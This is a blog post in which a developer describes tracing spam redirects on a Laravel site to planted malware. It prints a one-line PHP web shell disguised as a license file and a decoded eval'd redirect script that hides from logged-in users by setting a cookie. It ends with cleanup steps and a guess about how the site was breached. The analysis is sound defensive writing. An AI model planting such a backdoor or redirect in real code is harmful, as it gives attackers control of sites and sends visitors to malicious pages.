Tracking down a malware

Tracking down a malware

A few months ago, While I was pushing some code up to my server. I noticed something strange. The website I was setting up started to redirect to a spam site.

the spam site

the spam site This was the URL it was redirecting to. At first, I did not expect anything bad was happening because this direct might have been a mistake I did in an Nginx config file or Cloudflare. I tried to look for what was causing this redirect issue. I checked if the IP set in the Cloudflare for the domain was correct or not and also did multiple checks with the Nginx configuration file. Nothing unusual was going on. A couple of mins after I loaded the site again and it was working fine. Well not exactly, You see the issue was it was redirecting back to that spam site after awhile again. At this point, I knew something was up with the server and it's been hacked.

Looking for the root

The first thing I did was to check all of my Nginx configuration files. There weren't any unusual files or configurations added so I look through the .htaccess files in all of my projects. Nop nothing unusual ._.

Next, I started checking if the database had any unserialized codes added. There were few spams from a comment section I had in my blog but they were serialized properly so It was not something harmful.

Found it!

A couple of days went by I still had no idea what was causing the issues. Until today I started digging through the actual code base of a site. The site was running laravel so I looked through the public directory and there was file named 7EAhufBQ.php

// do not delete this file!
define("LaravelLicense", "193582933013");																	extract($_POST);$c($f, $a);include $f;

Here is the code that was in it. Which just extracts any incoming post request payload into the directory. Well, now whoever was attacking had a way to inject any codes into my site. But this still doesn't show the fact that I was getting directed to a spam site. then I checked the laravel application entry file (index.php). At the top, there was a base64 encoded string.


The code was calling the PHP eval function and passing the decoded data of the base64 encoded string. Which then PHP will execute.

So I did a decoding of that base64 string and oh boy it was valid PHP code hidden in that string. that directs the site to a spam site. The cookie time explains why it was redirecting sometimes and the site was functioning the way it should after the redirect. I believe this was done so that the victim doesn't suspect any foul play.

    define("chaeJou7", 1);
    function isMobile($uagentStr){
        if(strpos($uagentStr, 'android') !== false || strpos($uagentStr, 'blackberry') !== false
            || strpos($uagentStr, 'iphone') !== false || strpos($uagentStr, 'ipad') !== false
            || strpos($uagentStr, 'ipod') !== false || strpos($uagentStr, 'opera mini') !== false
            || strpos($uagentStr, 'ieMobile') !== false){
            return true;
        return false;

    function isDesktop($uagentStr){
        if(strpos($uagentStr, 'edge') !== false || strpos($uagentStr, 'msie') !== false
            || strpos($uagentStr, 'opr') !== false || strpos($uagentStr, 'chromium') !== false
            || strpos($uagentStr, 'firefox') !== false || strpos($uagentStr, 'chrome') !== false){
            return true;
        return false;

    $redirTo = "";
    $checkCookRedirStr = "aeNee8pi";
    $redirectAllow = true;
    foreach ($_COOKIE as $cookKey=>$cookVal){
        if (strpos($cookKey, 'wordpress_logged_in') !== false || $cookKey == $checkCookRedirStr) {
            $redirectAllow = false;

    $uagent = strtolower($_SERVER['HTTP_USER_AGENT']);

    if ($redirectAllow){
        if(isMobile($uagent) || isDesktop($uagent)) {
            setcookie($checkCookRedirStr, "1", time() + 604800);
            header("Location: $redirTo");

How to fix

It's really easy to fix this issue. You just have to remove the code above the index.php that is doing the eval of the base64 encoded string. And remove the file that had the extracted code in it.

How did I get hacked in the first place

This I am not yet sure but the most likely way it was done is called gadget chain. Read more about deserialization of gadget chain at

This vulnerability exists if you have a file input for file uploading or image uploading that is not being sanitized properly. If you are using the Guzzle old version this exploit still exists and it was patched in the latest version of Guzzle.

Always remember to validate and sanitize all of the data that is being uploaded to your site to avoid these kinds of exploits from happening.

Have an awesome day 😃